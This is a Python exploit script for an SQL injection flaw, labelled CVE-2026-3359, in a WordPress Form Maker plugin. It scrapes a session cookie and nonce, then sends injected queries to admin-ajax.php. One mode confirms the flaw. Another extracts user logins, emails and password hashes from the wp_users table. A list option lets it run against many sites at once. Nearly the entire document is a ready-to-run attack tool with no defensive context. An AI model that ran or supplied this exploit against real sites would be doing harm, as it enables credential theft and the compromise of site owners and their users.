import requests from sys import argv from bs4 import BeautifulSoup from termcolor import colored import json import re def main(): print(colored("""░▒█▀▀▄░▒█░░▒█░▒█▀▀▀░░░░█▀█░█▀▀█░█▀█░▄▀▀▄░░░░█▀▀█░█▀▀█░█▀▀░▄▀▀▄ ░▒█░░░░░▒█▒█░░▒█▀▀▀░▀▀░▒▄▀░█▄▀█░▒▄▀░█▄▄░░▀▀░░▒▀▄░░▒▀▄░▀▀▄░▀▄▄█ ░▒█▄▄▀░░░▀▄▀░░▒█▄▄▄░░░░█▄▄░█▄▄█░█▄▄░▀▄▄▀░░░░█▄▄█░█▄▄█░▄▄▀░░▄▄▀ """, "magenta")) argsDict = { "list": "", "url": "", "fm_cookie": "", "ajaxnonce": "", "queryPoC": False, "queryUsers": False } if len(argv) <= 1 or "-h" in argv: print("Usage: python3 cve-2026-3359.py -u http://localhost -poc/-qu\n\n") print("-u | Argument that should contain the URL to the target server (e.g: -u http://blahblah.com )\n\n") print("-poc | Argument to send a PoC SQL query that should make the target server return \"1\"if vulnerable\n\n") print("-qu | The 'query users' argument. When set will attempt to retrieve all user info within the wp_users table by an SQL query\n\n" ) return 1 for i in range(1, len(argv)): if argv[i] == "-l": argsDict["list"] = argv[i + 1] if argv[i] == "-u" and argsDict["list"] == "": argsDict["url"] = argv[i + 1] argsDict["fm_cookie"] = retrieveCookie(argsDict["url"]) argsDict["ajaxnonce"] = retrieveNonce(argsDict["url"]) if argv[i] == "-n": argsDict["ajaxnonce"] = argv[i + 1] if argv[i] == "-poc": argsDict["queryPoC"] = True if argv[i] == "-qu": argsDict["queryUsers"] = True queryArgsCase(argsDict) def queryArgsCase(argsDict): if argsDict["list"] != "" and argsDict["queryPoC"] == True: with open(argsDict["list"], "r") as l: lines = l.readlines() for line in lines: poc(retrieveCookie(line.strip()), retrieveNonce(line.strip()), line.strip()) l.close() if argsDict["list"] != "" and argsDict["queryUsers"] == True: with open(argsDict["list"], "r") as l: lines = l.readlines() for line in lines: queryUsers(retrieveCookie(line.strip()), retrieveNonce(line.strip()), line.strip()) l.close() if argsDict["url"] != "" and argsDict["queryPoC"] == True: poc(argsDict["fm_cookie"], argsDict["ajaxnonce"], argsDict["url"]) elif argsDict["url"] == "" and argsDict["list"] == "": print("A URL is needed to run this exploit!") return 1 if argsDict["url"] != "" and argsDict["queryUsers"] == True: queryUsers(argsDict["fm_cookie"], argsDict["ajaxnonce"], argsDict["url"]) def retrieveCookie(url): req = requests.get("{}".format(url)) #print(req.cookies.items()) for i in range(0, len(req.cookies.items())): #print(list(req.cookies.items()[i])) if re.findall(r"[fm_cookie_]", list(req.cookies.items()[i])[0]): cookieDict = {"{}".format(req.cookies.items()[0][0]):"{}".format(req.cookies.items()[0][1])} return cookieDict return None def retrieveNonce(url): req = requests.get("{}".format(url)) reqParser = BeautifulSoup(req.content, "html.parser") ajaxVars = reqParser.find_all("script", string=lambda text: 'ajaxnonce' in text) try: ajaxNonce = json.loads(ajaxVars[0].text.split(";")[1].split("=")[1])["ajaxnonce"] except IndexError: return -1 return ajaxNonce def queryUsers(cookie, nonce, url): print("Target: {}".format(url)) print(colored("Current query sent: SELECT `user_login` FROM wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users-- ORDER BY", "red")) pocHeaders = { "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "{}".format(cookie) } pocBody = { "nonce": "{}".format(nonce), "action": "fm_reload_input", "page": "form_maker", "form_id": "6", "inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[user_login]*:*w_choices_value*:*[where_order_by];[db_info]*:*w_choices_params*:*" } req = requests.post("{}/wp-admin/admin-ajax.php".format(url), headers=pocHeaders, data=pocBody) try: reqResponse = json.loads(req.content) except ValueError: print("Server not vulnerable!") return -1 try: htmlResponse = BeautifulSoup(reqResponse["2"]["html"], "html.parser") except TypeError: print("Server is not vulnerable!") return -1 inputsQuery = htmlResponse.find_all("input", attrs={"value": True, "type": "checkbox"}) if inputsQuery[0]["value"] == "": print(colored("Current server does not seem vulnerable", "magenta")) return 1 else: for i in range(0, len(inputsQuery)): print(inputsQuery[i]["value"]) def poc(cookie, nonce, url): print("Current target: {}".format(url)) print(colored("Current query sent: SELECT `1` FROM (SELECT `1` as 1) as t-- ORDER BY", "red")) pocHeaders = { "Accept": "application/json, text/javascript, */*; q=0.01", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie": "{}".format(cookie) } pocBody = { "nonce": "{}".format(nonce), "action": "fm_reload_input", "page": "form_maker", "form_id": "6", "inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[(SELECT 1 AS `1`) AS t--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[1]*:*w_choices_value*:*[where_order_by]ASC;[db_info]*:*w_choices_params*:*" } req = requests.post("{}/wp-admin/admin-ajax.php".format(url), headers=pocHeaders, data=pocBody) try: reqResponse = json.loads(req.content) except ValueError: print("Server not vulnerable!") return -1 try: htmlResponse = BeautifulSoup(reqResponse["2"]["html"], "html.parser") except TypeError: print("Server is not vulnerable!") return -1 inputsQuery = htmlResponse.find_all("input", attrs={"value": True, "type": "checkbox"}) if inputsQuery[0]["value"] == "1": print(colored("VULNERABLE TO CVE-2026-3359 SQL INJECTION", "red")) else: print(colored("Current server does not seem vulnerable", "magenta")) for i in range(0, len(inputsQuery)): print(inputsQuery[i]["value"]) if __name__ == '__main__': main()